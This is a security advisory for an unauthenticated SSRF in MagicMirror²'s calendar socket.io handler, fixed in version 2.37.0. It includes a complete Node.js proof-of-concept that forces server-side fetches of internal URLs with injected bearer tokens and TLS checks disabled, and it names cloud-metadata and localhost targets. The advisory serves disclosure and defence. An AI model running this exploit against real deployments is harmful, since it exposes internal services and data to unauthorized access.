GHSA-w6x9-28jw-hq7j MagicMirror: ssrf calendar .js

• npm magicmirror: < 2.37.0 → fixed in 2.37.0

Vulnerability — SSRF via `ADD_CALENDAR` (MagicMirror² calendar) > Analysis of the PoC `exploit-ssrf-calendar.js`. > Target: `calendar/node_helper.js` of MagicMirror², socket.io namespace `/calendar`. --- Identification | Field | Value | |-------|-------| | PoC file | `exploit-ssrf-calendar.js` | | Endpoint | socket.io namespace `/calendar`, notification `ADD_CALENDAR` | | Precondition | reach the mirror's HTTP port (no authentication required) | --- Description The `ADD_CALENDAR` handler in `calendar/node_helper.js` performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened `/cors` endpoint. Worse, the attacker also controls: • the authentication headers the server attaches to the request (`auth: { method: "bearer", pass: "..." }`); • the `selfSignedCert` flag, which disables TLS verification of the server-side request. When the target's response is valid iCal, the server parses the events and sends them back to the attacker via `CALENDAR_EVENTS` — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body). --- Root cause: unauthenticated socket.io channel + permissive CORS The socket.io server accepts connections from any origin and with no authentication: ```js const io = new Server(server, { cors: { origin: /.*$/, credentials: true } }); ``` The `/calendar` namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification. --- Exploit (`exploit-ssrf-calendar.js`) ```js const { io } = require("socket.io-client"); const TARGET = process.env.MM || "http://TARGET:8888"; const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/"; const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] }); socket.onAny((event, payload) => { if (event === "CALENDAR_EVENTS") { console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):"); for (const ev of payload.events || []) { console.log(" SUMMARY:", ev.title); if (ev.title && ev.title.includes("FLAG{")) { console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:"); console.log(" " + ev.title); process.exit(0); } } } else if (event === "CALENDAR_ERROR") { console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload)); } }); socket.on("connect", () => { console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`); console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`); socket.emit("ADD_CALENDAR", { url: INTERNAL_URL, fetchInterval: 60000, excludedEvents: [], maximumEntries: 10, maximumNumberOfDays: 3650, auth: { method: "bearer", pass: "internal-admin-token" }, broadcastPastEvents: true, selfSignedCert: true, id: "pwn" }); }); socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message)); setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000); ``` --- Vulnerable target code (pattern) ```js socketNotificationReceived(notification, payload) { if (notification === "ADD_CALENDAR") { const fetcher = new CalendarFetcher( payload.url, payload.fetchInterval, payload.excludedEvents, payload.maximumEntries, payload.maximumNumberOfDays, payload.auth, payload.broadcastPastEvents, payload.selfSignedCert ); fetcher.fetchCalendar(); } } ``` --- Impact • Reading internal services unreachable from the attacker's network (cloud metadata `169.254.169.254`, admin panels on `127.0.0.1`, services on the private network). • Body exfiltration when the response is iCal (the PoC searches for `FLAG{...}` in event titles). • Confused deputy / credential injection: the server attaches an attacker-controlled `Authorization: Bearer ...` header, allowing it to forge/replay credentials against the internal target. • TLS bypass via `selfSignedCert: true`. • Internal port scanning through error/timing differences. ---